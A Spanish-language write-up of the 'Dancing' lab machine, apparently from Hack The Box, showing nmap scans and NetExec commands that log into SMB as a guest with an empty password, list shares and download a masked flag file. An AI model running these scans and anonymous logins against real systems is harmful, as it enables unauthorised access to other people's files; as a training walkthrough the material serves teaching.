😐

[ noØfunny ]

Dancing

Introduce el protocolo Server Message Block (SMB), su enumeración y su explotación cuando se configura incorrectamente para permitir el acceso sin contraseña.

Dancing

Enumeration

Escaneamos todos los puertos con nmap para ver cuáles están abiertos y qué servicios corren en ellos.

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 10.129.193.219
PORT      STATE SERVICE      REASON
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
5985/tcp  open  wsman        syn-ack ttl 127
47001/tcp open  winrm        syn-ack ttl 127
49664/tcp open  unknown      syn-ack ttl 127
49665/tcp open  unknown      syn-ack ttl 127
49666/tcp open  unknown      syn-ack ttl 127
49667/tcp open  unknown      syn-ack ttl 127
49668/tcp open  unknown      syn-ack ttl 127
49669/tcp open  unknown      syn-ack ttl 127

Escaneamos los puertos abiertos para ver más detalles de los servicios que corren en ellos.

nmap -p 135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 -sCV -oA nmap/openports 10.129.193.219
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 3h59m40s
| smb2-time: 
|   date: 2026-07-27T04:33:03
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

El puerto 139 corre el servicio NetBIOS Session Service que permite compartir recursos. Chequeamos si podemos acceder al servicio sin contraseña.

nxc smb 10.129.193.219 -u melvin -p ""
SMB         10.129.193.219  445    DANCING          [*] Windows 10 / Server 2019 Build 17763 x64 (name:DANCING) (domain:Dancing) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.193.219  445    DANCING          [+] Dancing\melvin: (Guest)

Null Auth:True indica que podemos conectarnos al servicio sin usuario y contraseña, melvin fue reconocido como Guest, podemos ingresar cualquier otro usuario que no exista y lo va a tomar Guest también.

Como Guest podemos enumerar los recursos compartidos.

nxc smb 10.129.193.219 -u melvin -p "" --shares
SMB         10.129.193.219  445    DANCING          [*] Windows 10 / Server 2019 Build 17763 x64 (name:DANCING) (domain:Dancing) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.193.219  445    DANCING          [+] Dancing\melvin: (Guest)
SMB         10.129.193.219  445    DANCING          [*] Enumerated shares
SMB         10.129.193.219  445    DANCING          Share           Permissions     Remark
SMB         10.129.193.219  445    DANCING          -----           -----------     ------
SMB         10.129.193.219  445    DANCING          ADMIN$                          Remote Admin
SMB         10.129.193.219  445    DANCING          C$                              Default share
SMB         10.129.193.219  445    DANCING          IPC$            READ            Remote IPC
SMB         10.129.193.219  445    DANCING          WorkShares      READ,WRITE 

Enumeramos el contenido del recurso WorkShares.

nxc smb 10.129.193.219 -u melvin -p "" --spider WorkShares --regex .
SMB         10.129.193.219  445    DANCING          [*] Windows 10 / Server 2019 Build 17763 x64 (name:DANCING) (domain:Dancing) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.193.219  445    DANCING          [+] Dancing\melvin: (Guest)
SMB         10.129.193.219  445    DANCING          [*] Spidering .
SMB         10.129.193.219  445    DANCING          //10.129.193.219/WorkShares/. [dir]
SMB         10.129.193.219  445    DANCING          //10.129.193.219/WorkShares/.. [dir]
SMB         10.129.193.219  445    DANCING          //10.129.193.219/WorkShares/Amy.J [dir]
SMB         10.129.193.219  445    DANCING          //10.129.193.219/WorkShares/James.P [dir]
SMB         10.129.193.219  445    DANCING          //10.129.193.219/WorkShares/Amy.J/. [dir]
SMB         10.129.193.219  445    DANCING          //10.129.193.219/WorkShares/Amy.J/.. [dir]
SMB         10.129.193.219  445    DANCING          //10.129.193.219/WorkShares/Amy.J/worknotes.txt [lastm:'2021-03-29 06:08' size:94]
SMB         10.129.193.219  445    DANCING          //10.129.193.219/WorkShares/James.P/. [dir]
SMB         10.129.193.219  445    DANCING          //10.129.193.219/WorkShares/James.P/.. [dir]
SMB         10.129.193.219  445    DANCING          //10.129.193.219/WorkShares/James.P/flag.txt [lastm:'2021-06-03 05:37' size:32]

Vemos que la flag está en un directorio perteneciente al usuario James.P, descargamos el archivo.

nxc smb 10.129.193.219 -u melvin -p "" --share WorkShares --get-file /James.P/flag.txt flag.txt
SMB         10.129.193.219  445    DANCING          [*] Windows 10 / Server 2019 Build 17763 x64 (name:DANCING) (domain:Dancing) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.193.219  445    DANCING          [+] Dancing\melvin: (Guest)
SMB         10.129.193.219  445    DANCING          [*] Copying "/James.P/flag.txt" to "flag.txt"
SMB         10.129.193.219  445    DANCING          [+] File "/James.P/flag.txt" was downloaded to "flag.txt"

Y leemos su contenido.

cat flag.txt

Flag

Flag

5******************************4